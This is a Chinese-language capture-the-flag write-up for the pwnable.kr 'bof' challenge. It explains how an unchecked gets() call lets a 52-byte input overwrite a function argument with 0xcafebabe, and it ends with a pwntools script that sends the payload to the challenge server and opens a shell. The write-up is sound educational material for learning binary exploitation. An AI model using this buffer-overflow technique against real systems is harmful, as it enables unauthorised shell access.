pwnable.kr bof

思路

-检查main函数调用了什么

main.png

-func函数实现了什么功能


func.png
func汇编.png

-如何使key==0xcafebabe,调用system(“/bin/sh”)

做法

-看到调用了gets,使用命令man查看gets函数定义,可知gets是读取一整行的字符直到结束换行


man gets.png

-看到字符s(即数组overflows)的大小为-2CH,因此我们的目的是将44(2C)填满,并且让我们的key也被覆盖,改变为0xcafebabe。
-由汇编的比较我们知道是arg_0与cafebabe比较


cmp.png

-我们可以知道arg_0的位置在+0x8

-因此总的覆盖范围应该从-2CH到+08H,一共52个字节

from pwn import*

pwn= remote("pwnable.kr",9000)

junk="a"*0x2c + "a"*0x4 + "b"*0x4
junk+=p32(0xcafebabe)

pwn.sendline(junk)
pwn.interactive()

你可能感兴趣的:(pwnable.kr bof)